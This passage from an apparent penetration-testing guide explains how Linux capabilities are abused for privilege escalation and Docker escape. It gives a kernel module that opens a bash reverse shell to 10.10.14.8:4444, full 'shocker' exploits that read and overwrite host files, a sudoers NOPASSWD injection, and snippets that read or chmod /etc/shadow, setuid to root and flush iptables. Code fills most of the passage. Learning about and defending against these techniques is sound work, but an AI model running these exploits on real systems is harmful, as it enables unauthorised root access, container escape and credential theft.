cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep 727 Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap 728 Securebits: 00/0x0/1'b0 729 secure-noroot: no (unlocked) 730 secure-no-suid-fixup: no (unlocked) 731 secure-keep-caps: no (unlocked) 732 uid=0(root) 733 gid=0(root) 734 groups=0(root) 735 ``` 736 737 Inside the previous output you can see that the **SYS_MODULE** capability is enabled.<sup>[[14]](#references)</sup> 738 739 **Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it: 740 741 ```c 742 #include <linux/kmod.h> 743 #include <linux/module.h> 744 MODULE_LICENSE("GPL"); 745 MODULE_AUTHOR("AttackDefense"); 746 MODULE_DESCRIPTION("LKM reverse shell module"); 747 MODULE_VERSION("1.0"); 748 749 char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL}; 750 static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; 751 752 // call_usermodehelper function is used to create user mode processes from kernel space 753 static int __init reverse_shell_init(void) { 754 return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); 755 } 756 757 static void __exit reverse_shell_exit(void) { 758 printk(KERN_INFO "Exiting\n"); 759 } 760 761 module_init(reverse_shell_init); 762 module_exit(reverse_shell_exit); 763 ``` 764 765 ```bash 766 obj-m +=reverse-shell.o 767 768 all: 769 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 770 771 clean: 772 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 773 ``` 774 775 > [!WARNING] 776 > The blank char before each make word in the Makefile **must be a tab, not spaces**! 777 778 Execute `make` to compile it. 779 780 ```bash 781 Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. 782 783 sudo apt update 784 sudo apt full-upgrade 785 ``` 786 787 Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process: 788 789 ```bash 790 #Shell 1 791 nc -lvnp 4444 792 793 #Shell 2 794 insmod reverse-shell.ko #Launch the reverse shell 795 ``` 796 797 **The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com).<sup>[[1]](#references)</sup> 798 799 Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) 800 801 ## CAP_DAC_READ_SEARCH 802 803 [**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables a process to **bypass permissions for reading files and for reading and executing directories**. Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).<sup>[[12]](#references)[[13]](#references)</sup> 804 **This means that you can bypass file read permission checks and directory read/execute permission checks**.<sup>[[14]](#references)</sup> 805 806 **Example with binary** 807 808 The binary can read files that are accessible in its namespaces. So, if a file like `tar` has this capability, it can read the shadow file: 809 810 ```bash 811 cd /etc 812 tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp 813 cd /tmp 814 tar -cxf shadow.tar.gz 815 ``` 816 817 **Example with binary2** 818 819 In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do: 820 821 ```python 822 import os 823 for r, d, f in os.walk('/root'): 824 for filename in f: 825 print(filename) 826 ``` 827 828 And in order to read a file you could do: 829 830 ```python 831 print(open("/etc/shadow", "r").read()) 832 ``` 833 834 **Example in Environment (Docker breakout)** 835 836 You can check the enabled capabilities inside the Docker container using `capsh --print`.<sup>[[14]](#references)[[26]](#references)</sup> 837 838 ```text 839 capsh --print 840 Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep 841 Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap 842 Securebits: 00/0x0/1'b0 843 secure-noroot: no (unlocked) 844 secure-no-suid-fixup: no (unlocked) 845 secure-keep-caps: no (unlocked) 846 uid=0(root) 847 gid=0(root) 848 groups=0(root) 849 ``` 850 851 Inside the previous output you can see that the **DAC_READ_SEARCH** capability is enabled. This bypasses DAC read/search checks and permits `open_by_handle_at(2)`; it is not a process-debugging capability by itself.<sup>[[14]](#references)</sup> 852 853 You can learn how the following exploit works in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), but in brief, **CAP_DAC_READ_SEARCH** allows traversing the file system without permission checks and permits `open_by_handle_at(2)`; this can expose files opened by other processes when the relevant namespaces and mounts are reachable.<sup>[[13]](#references)[[14]](#references)</sup> 854 855 The original exploit that abuses these permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c); the following is a **modified version that lets you pass the file to read as the first argument and dump the result to a file**.<sup>[[12]](#references)</sup> 856 857 ```c 858 #include <stdio.h> 859 #include <sys/types.h> 860 #include <sys/stat.h> 861 #include <fcntl.h> 862 #include <errno.h> 863 #include <stdlib.h> 864 #include <string.h> 865 #include <unistd.h> 866 #include <dirent.h> 867 #include <stdint.h> 868 869 // gcc shocker.c -o shocker 870 // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir 871 872 struct my_file_handle { 873 unsigned int handle_bytes; 874 int handle_type; 875 unsigned char f_handle[8]; 876 }; 877 878 void die(const char *msg) 879 { 880 perror(msg); 881 exit(errno); 882 } 883 884 void dump_handle(const struct my_file_handle *h) 885 { 886 fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, 887 h->handle_type); 888 for (int i = 0; i < h->handle_bytes; ++i) { 889 fprintf(stderr,"0x%02x", h->f_handle[i]); 890 if ((i + 1) % 20 == 0) 891 fprintf(stderr,"\n"); 892 if (i < h->handle_bytes - 1) 893 fprintf(stderr,", "); 894 } 895 fprintf(stderr,"};\n"); 896 } 897 898 int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle 899 *oh) 900 { 901 int fd; 902 uint32_t ino = 0; 903 struct my_file_handle outh = { 904 .handle_bytes = 8, 905 .handle_type = 1 906 }; 907 DIR *dir = NULL; 908 struct dirent *de = NULL; 909 path = strchr(path, '/'); 910 // recursion stops if path has been resolved 911 if (!path) { 912 memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); 913 oh->handle_type = 1; 914 oh->handle_bytes = 8; 915 return 1; 916 } 917 918 ++path; 919 fprintf(stderr, "[*] Resolving '%s'\n", path); 920 if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) 921 die("[-] open_by_handle_at"); 922 if ((dir = fdopendir(fd)) == NULL) 923 die("[-] fdopendir"); 924 for (;;) { 925 de = readdir(dir); 926 if (!de) 927 break; 928 fprintf(stderr, "[*] Found %s\n", de->d_name); 929 if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { 930 fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); 931 ino = de->d_ino; 932 break; 933 } 934 } 935 936 fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); 937 if (de) { 938 for (uint32_t i = 0; i < 0xffffffff; ++i) { 939 outh.handle_bytes = 8; 940 outh.handle_type = 1; 941 memcpy(outh.f_handle, &ino, sizeof(ino)); 942 memcpy(outh.f_handle + 4, &i, sizeof(i)); 943 if ((i % (1<<20)) == 0) 944 fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); 945 if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { 946 closedir(dir); 947 close(fd); 948 dump_handle(&outh); 949 return find_handle(bfd, path, &outh, oh); 950 } 951 } 952 } 953 closedir(dir); 954 close(fd); 955 return 0; 956 } 957 958 959 int main(int argc,char* argv[] ) 960 { 961 char buf[0x1000]; 962 int fd1, fd2; 963 struct my_file_handle h; 964 struct my_file_handle root_h = { 965 .handle_bytes = 8, 966 .handle_type = 1, 967 .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} 968 }; 969 970 fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" 971 "[***] The tea from the 90's kicks your sekurity again. [***]\n" 972 "[***] If you have pending sec consulting, I'll happily [***]\n" 973 "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n"); 974 975 read(0, buf, 1); 976 977 // get a FS reference from something mounted in from outside 978 if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) 979 die("[-] open"); 980 981 if (find_handle(fd1, argv[1], &root_h, &h) <= 0) 982 die("[-] Cannot find valid handle!"); 983 984 fprintf(stderr, "[!] Got a final handle!\n"); 985 dump_handle(&h); 986 987 if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) 988 die("[-] open_by_handle"); 989 990 memset(buf, 0, sizeof(buf)); 991 if (read(fd2, buf, sizeof(buf) - 1) < 0) 992 die("[-] read"); 993 994 printf("Success!!\n"); 995 996 FILE *fptr; 997 fptr = fopen(argv[2], "w"); 998 fprintf(fptr,"%s", buf); 999 fclose(fptr); 1000 1001 close(fd2); close(fd1); 1002 1003 return 0; 1004 } 1005 ``` 1006 1007 > [!WARNING] 1008 > The exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: 1009 1010  1011 1012 **The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com).<sup>[[1]](#references)</sup> 1013 1014 1015 ## CAP_DAC_OVERRIDE 1016 1017 **This capability bypasses file read, write, and execute permission checks**.<sup>[[14]](#references)</sup> 1018 1019 Look for files that become readable or writable through membership in a privileged group; the useful targets depend on the target's ownership and mode bits.<sup>[[14]](#references)</sup> 1020 1021 **Example with binary** 1022 1023 In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_: 1024 1025 ```bash 1026 getcap -r / 2>/dev/null 1027 /usr/bin/vim = cap_dac_override+ep 1028 1029 vim /etc/sudoers #To overwrite it 1030 ``` 1031 1032 **Example with binary 2** 1033 1034 In this example **`python`** binary will have this capability. You could use python to override any file: 1035 1036 ```python 1037 file=open("/etc/sudoers","a") 1038 file.write("yourusername ALL=(ALL) NOPASSWD:ALL") 1039 file.close() 1040 ``` 1041 1042 **Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)** 1043 1044 Confirm `CAP_DAC_OVERRIDE` with `capsh --print` as shown in the preceding `CAP_DAC_READ_SEARCH` environment example.<sup>[[14]](#references)[[26]](#references)</sup> 1045 1046 First of all read the previous section that [**abuses DAC_READ_SEARCH capability to read arbitrary files**](/hacktricks/linux-hardening/interesting-files-permissions/linux-capabilities#cap_dac_read_search) of the host and **compile** the exploit.\ 1047 Then, **compile the following version of the shocker exploit** that will allow you to **write arbitrary files** inside the hosts filesystem: 1048 1049 ```c 1050 #include <stdio.h> 1051 #include <sys/types.h> 1052 #include <sys/stat.h> 1053 #include <fcntl.h> 1054 #include <errno.h> 1055 #include <stdlib.h> 1056 #include <string.h> 1057 #include <unistd.h> 1058 #include <dirent.h> 1059 #include <stdint.h> 1060 1061 // gcc shocker_write.c -o shocker_write 1062 // ./shocker_write /etc/passwd passwd 1063 1064 struct my_file_handle { 1065 unsigned int handle_bytes; 1066 int handle_type; 1067 unsigned char f_handle[8]; 1068 }; 1069 void die(const char * msg) { 1070 perror(msg); 1071 exit(errno); 1072 } 1073 void dump_handle(const struct my_file_handle * h) { 1074 fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, 1075 h -> handle_type); 1076 for (int i = 0; i < h -> handle_bytes; ++i) { 1077 fprintf(stderr, "0x%02x", h -> f_handle[i]); 1078 if ((i + 1) % 20 == 0) 1079 fprintf(stderr, "\n"); 1080 if (i < h -> handle_bytes - 1) 1081 fprintf(stderr, ", "); 1082 } 1083 fprintf(stderr, "};\n"); 1084 } 1085 int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) 1086 { 1087 int fd; 1088 uint32_t ino = 0; 1089 struct my_file_handle outh = { 1090 .handle_bytes = 8, 1091 .handle_type = 1 1092 }; 1093 DIR * dir = NULL; 1094 struct dirent * de = NULL; 1095 path = strchr(path, '/'); 1096 // recursion stops if path has been resolved 1097 if (!path) { 1098 memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); 1099 oh -> handle_type = 1; 1100 oh -> handle_bytes = 8; 1101 return 1; 1102 } 1103 ++path; 1104 fprintf(stderr, "[*] Resolving '%s'\n", path); 1105 if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) 1106 die("[-] open_by_handle_at"); 1107 if ((dir = fdopendir(fd)) == NULL) 1108 die("[-] fdopendir"); 1109 for (;;) { 1110 de = readdir(dir); 1111 if (!de) 1112 break; 1113 fprintf(stderr, "[*] Found %s\n", de -> d_name); 1114 if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { 1115 fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); 1116 ino = de -> d_ino; 1117 break; 1118 } 1119 } 1120 fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); 1121 if (de) { 1122 for (uint32_t i = 0; i < 0xffffffff; ++i) { 1123 outh.handle_bytes = 8; 1124 outh.handle_type = 1; 1125 memcpy(outh.f_handle, & ino, sizeof(ino)); 1126 memcpy(outh.f_handle + 4, & i, sizeof(i)); 1127 if ((i % (1 << 20)) == 0) 1128 fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); 1129 if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { 1130 closedir(dir); 1131 close(fd); 1132 dump_handle( & outh); 1133 return find_handle(bfd, path, & outh, oh); 1134 } 1135 } 1136 } 1137 closedir(dir); 1138 close(fd); 1139 return 0; 1140 } 1141 int main(int argc, char * argv[]) { 1142 char buf[0x1000]; 1143 int fd1, fd2; 1144 struct my_file_handle h; 1145 struct my_file_handle root_h = { 1146 .handle_bytes = 8, 1147 .handle_type = 1, 1148 .f_handle = { 1149 0x02, 1150 0, 1151 0, 1152 0, 1153 0, 1154 0, 1155 0, 1156 0 1157 } 1158 }; 1159 fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" 1160 "[***] The tea from the 90's kicks your sekurity again. [***]\n" 1161 "[***] If you have pending sec consulting, I'll happily [***]\n" 1162 "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n"); 1163 read(0, buf, 1); 1164 // get a FS reference from something mounted in from outside 1165 if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) 1166 die("[-] open"); 1167 if (find_handle(fd1, argv[1], & root_h, & h) <= 0) 1168 die("[-] Cannot find valid handle!"); 1169 fprintf(stderr, "[!] Got a final handle!\n"); 1170 dump_handle( & h); 1171 if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) 1172 die("[-] open_by_handle"); 1173 char * line = NULL; 1174 size_t len = 0; 1175 FILE * fptr; 1176 ssize_t read; 1177 fptr = fopen(argv[2], "r"); 1178 while ((read = getline( & line, & len, fptr)) != -1) { 1179 write(fd2, line, read); 1180 } 1181 printf("Success!!\n"); 1182 close(fd2); 1183 close(fd1); 1184 return 0; 1185 } 1186 ``` 1187 1188 In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**. 1189 1190 **The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com).<sup>[[1]](#references)</sup> 1191 1192 ## CAP_CHOWN 1193 1194 **This capability allows a process to change the ownership of files**.<sup>[[14]](#references)</sup> 1195 1196 **Example with binary** 1197 1198 Lets suppose the **`python`** binary has this capability; you can change the owner of a file such as **`shadow`**, then use the resulting access to modify it if other permissions allow: 1199 1200 ```bash 1201 python -c 'import os;os.chown("/etc/shadow",1000,1000)' 1202 ``` 1203 1204 Or with the **`ruby`** binary having this capability: 1205 1206 ```bash 1207 ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' 1208 ``` 1209 1210 ## CAP_FOWNER 1211 1212 **This capability bypasses ownership checks for many file operations, including changing permissions**.<sup>[[14]](#references)</sup> 1213 1214 **Example with binary** 1215 1216 If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges: 1217 1218 ```bash 1219 python -c 'import os; os.chmod("/etc/shadow", 0o666)' 1220 ``` 1221 1222 ### CAP_SETUID 1223 1224 **This capability allows a process to change its effective user ID, subject to the credential and capability rules enforced by the kernel**.<sup>[[14]](#references)</sup> 1225 1226 **Example with binary** 1227 1228 If python has this **capability**, you can very easily abuse it to escalate privileges to root: 1229 1230 ```python 1231 import os 1232 os.setuid(0) 1233 os.system("/bin/bash") 1234 ``` 1235 1236 **Another way:** 1237 1238 ```python 1239 import os 1240 import prctl 1241 #add the capability to the effective set 1242 prctl.cap_effective.setuid = True 1243 os.setuid(0) 1244 os.system("/bin/bash") 1245 ``` 1246 1247 ## CAP_SETGID 1248 1249 **This capability allows a process to change its effective group ID, subject to the credential and capability rules enforced by the kernel**.<sup>[[14]](#references)</sup> 1250 1251 There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](/hacktricks/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute#overwriting-a-file-to-escalate-privileges). 1252 1253 **Example with binary** 1254 1255 In this case you should look for interesting files that a group can read because you can impersonate any group: 1256 1257 ```bash 1258 #Find every file writable by a group 1259 find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null 1260 #Find every file writable by a group in /etc with a maxpath of 1 1261 find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null 1262 #Find every file readable by a group in /etc with a maxpath of 1 1263 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null 1264 ``` 1265 1266 Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with: 1267 1268 ```python 1269 import os 1270 os.setgid(42) 1271 os.system("/bin/bash") 1272 ``` 1273 1274 In this case the group shadow was impersonated so you can read the file `/etc/shadow`: 1275 1276 ```bash 1277 cat /etc/shadow 1278 ``` 1279 1280 ### Combined chain: CAP_SETGID + CAP_CHOWN 1281 1282 When both capabilities are available in the same helper, a practical chain is: 1283 1284 1. Switch EGID to `shadow` (or another privileged group). 1285 2. Use `chown` on `/etc/shadow` to set your UID while keeping group `shadow`. 1286 3. Read a target hash and crack/pivot. 1287 1288 ```python 1289 import os 1290 1291 # Replace values with real IDs from `id` / `getent group shadow` 1292 LAB_UID = 1000 1293 SHADOW_GID = 42 1294 1295 os.setgid(SHADOW_GID) 1296 os.chown("/etc/shadow", LAB_UID, SHADOW_GID) 1297 os.system("grep '^root:' /etc/shadow > /tmp/root.hash") 1298 ``` 1299 1300 This avoids needing full root directly and is commonly enough to pivot through credential reuse. 1301 1302 If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](#writable-docker-socket). 1303 1304 ## CAP_SETFCAP 1305 1306 **This capability allows a process to set file capabilities**.<sup>[[14]](#references)</sup> 1307 1308 **Example with binary** 1309 1310 If python has this **capability**, you can very easily abuse it to escalate privileges to root: 1311 1312 ```python 1313 import ctypes, sys 1314 1315 #Load needed library 1316 #You can find which library you need to load checking the libraries of local setcap binary 1317 # ldd /sbin/setcap 1318 libcap = ctypes.cdll.LoadLibrary("libcap.so.2") 1319 1320 libcap.cap_from_text.argtypes = [ctypes.c_char_p] 1321 libcap.cap_from_text.restype = ctypes.c_void_p 1322 libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p] 1323 1324 #Give setuid cap to the binary 1325 cap = 'cap_setuid+ep' 1326 path = sys.argv[1] 1327 print(path) 1328 cap_t = libcap.cap_from_text(cap) 1329 status = libcap.cap_set_file(path,cap_t) 1330 1331 if(status == 0): 1332 print (cap + " was successfully added to " + path) 1333 ``` 1334 1335 ```bash 1336 python setcapability.py /usr/bin/python2.7 1337 ``` 1338 1339 > [!WARNING] 1340 > A newly written file capability set replaces the previous set; if the helper is then executed with only the new capabilities, it may no longer retain `CAP_SETFCAP` to update another file.<sup>[[14]](#references)[[25]](#references)</sup> 1341 1342 Once you have [SETUID capability](/hacktricks/linux-hardening/interesting-files-permissions/linux-capabilities#cap_setuid) you can go to its section to see how to escalate privileges. 1343 1344 **Example with environment (Docker breakout)** 1345 1346 Docker's documented default capability set includes **CAP_SETFCAP**, but the actual set depends on the runtime configuration.<sup>[[19]](#references)</sup> 1347 You can inspect the process capabilities with: 1348 1349 ```bash 1350 cat /proc/`pidof bash`/status | grep Cap 1351 CapInh: 00000000a80425fb 1352 CapPrm: 00000000a80425fb 1353 CapEff: 00000000a80425fb 1354 CapBnd: 00000000a80425fb 1355 CapAmb: 0000000000000000 1356 1357 capsh --decode=00000000a80425fb 1358 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap 1359 ``` 1360 1361 This capability allows writing file capabilities, but it does not by itself grant those capabilities to the current process or bypass the file, bounding-set, and namespace rules applied when the file is executed.<sup>[[14]](#references)</sup> 1362 1363 ```bash 1364 getcap /usr/bin/gdb 1365 /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip 1366 1367 setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb 1368 1369 /usr/bin/gdb 1370 bash: /usr/bin/gdb: Operation not permitted 1371 ``` 1372 1373 The file's permitted capabilities are limited by the process's capability bounding set, and the file effective bit controls whether the file's permitted set is raised into the process's effective set. This is why adding capabilities to a file does not automatically make every requested capability usable at execution time.<sup>[[14]](#references)</sup> 1374 1375 ## CAP_SYS_RAWIO 1376 1377 [**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to perform a range of device-specific operations on other devices.<sup>[[14]](#references)</sup> 1378 1379 This can be useful for **privilege escalation** and **Docker breakout**.<sup>[[14]](#references)</sup> 1380 1381 ## CAP_KILL 1382 1383 **This capability bypasses permission checks for sending signals to processes in the cases defined by the kernel**.<sup>[[14]](#references)</sup> 1384 1385 **Example with binary** 1386 1387 Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor. 1388 1389 ```python 1390 #Use this python code to kill arbitrary processes 1391 import os 1392 import signal 1393 pgid = os.getpgid(341) 1394 os.killpg(pgid, signal.SIGKILL) 1395 ``` 1396 1397 **Privesc with kill** 1398 1399 If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect. 1400 1401 ```bash 1402 kill -s SIGUSR1 <nodejs-ps> 1403 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d 1404 ``` 1405 1406 1407 [Electron Cef Chromium Debugger Abuse](/hacktricks/linux-hardening/software-information/electron-cef-chromium-debugger-abuse) 1408 1409 1410 ## CAP_NET_BIND_SERVICE 1411 1412 **This capability permits binding to Internet ports below 1024.** It does not directly grant broader privilege escalation.<sup>[[14]](#references)</sup> 1413 1414 **Example with binary** 1415 1416 If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports) 1417 1418 ### Listen 1419 ```python 1420 import socket 1421 s=socket.socket() 1422 s.bind(('0.0.0.0', 80)) 1423 s.listen(1) 1424 conn, addr = s.accept() 1425 while True: 1426 output = connection.recv(1024).strip(); 1427 print(output) 1428 ``` 1429 1430 ### Connect 1431 ```python 1432 import socket 1433 s=socket.socket() 1434 s.bind(('0.0.0.0',500)) 1435 s.connect(('10.10.10.10',500)) 1436 ``` 1437 1438 1439 ## CAP_NET_RAW 1440 1441 [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permits processes to **create RAW and PACKET sockets**, enabling them to generate and send arbitrary network packets. This can lead to security risks in containerized environments, such as packet spoofing, traffic injection, and bypassing network access controls. Malicious actors could exploit this to interfere with container routing or compromise host network security, especially without adequate firewall protections. Additionally, **CAP_NET_RAW** supports operations like ping via RAW ICMP requests.<sup>[[14]](#references)</sup> 1442 1443 **This can enable packet capture with a suitable socket interface.** It does not directly grant broader privilege escalation.<sup>[[14]](#references)</sup> 1444 1445 **Example with binary** 1446 1447 If the binary **`tcpdump`** has this capability you will be able to use it to capture network information. 1448 1449 ```bash 1450 getcap -r / 2>/dev/null 1451 /usr/sbin/tcpdump = cap_net_raw+ep 1452 ``` 1453 1454 If the **environment** grants this capability, **`tcpdump`** can also use it to sniff traffic.<sup>[[14]](#references)</sup> 1455 1456 **Example with binary 2** 1457 1458 The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET_BIND + NET_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com).<sup>[[1]](#references)</sup> 1459 1460 ```python 1461 import socket 1462 import struct 1463 1464 flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"] 1465 1466 def getFlag(flag_value): 1467 flag="" 1468 for i in xrange(8,-1,-1): 1469 if( flag_value & 1 <<i ): 1470 flag= flag + flags[8-i] + "," 1471 return flag[:-1] 1472 1473 s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3)) 1474 s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) 1475 s.bind(("lo",0x0003)) 1476 1477 flag="" 1478 count=0 1479 while True: 1480 frame=s.recv(4096) 1481 ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34]) 1482 proto=ip_header[6] 1483 ip_header_size = (ip_header[0] & 0b1111) * 4 1484 if(proto==6): 1485 protocol="TCP" 1486 tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size] 1487 tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed) 1488 dst_port=tcp_header[0] 1489 src_port=tcp_header[1] 1490 flag=" FLAGS: "+getFlag(tcp_header[4]) 1491 1492 elif(proto==17): 1493 protocol="UDP" 1494 udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size] 1495 udp_header_ports=struct.unpack("!HH",udp_header_packed_ports) 1496 dst_port=udp_header[0] 1497 src_port=udp_header[1] 1498 1499 if (proto == 17 or proto == 6): 1500 print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag) 1501 count=count+1 1502 ``` 1503 1504 ## CAP_NET_ADMIN + CAP_NET_RAW 1505 1506 [**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) grants the holder the power to **alter network configurations**, including firewall settings, routing tables, socket permissions, and network interface settings within the exposed network namespaces. It also enables turning on **promiscuous mode** on network interfaces, allowing for packet sniffing across namespaces.<sup>[[14]](#references)</sup> 1507 1508 **Example with binary** 1509 1510 Lets suppose that the **python binary** has these capabilities. 1511 1512 ```python 1513 #Dump iptables filter table rules 1514 import iptc 1515 import pprint 1516 json=iptc.easy.dump_table('filter',ipv6=False) 1517 pprint.pprint(json) 1518 1519 #Flush iptables filter table 1520 import iptc 1521 iptc.easy.flush_table('filter') 1522 ``` 1523 1524 ## CAP_LINUX_IMMUTABLE 1525 1526 **This capability permits modifying inode flags such as immutable and append-only.** It does not directly grant broader privilege escalation.<sup>[[14]](#references)</sup> 1527 1528 **Example with binary** 1529 1530 If you find that a file is immutable and python has this capability, you can **remove the immutable attribute and make the file modifiable:** 1531 1532 ```python 1533 #Check that the file is imutable 1534 lsattr file.sh 1535 ----i---------e--- backup.sh 1536 ``` 1537 1538 ```python 1539 # Python code to remove the immutable flag and allow modifications 1540 import 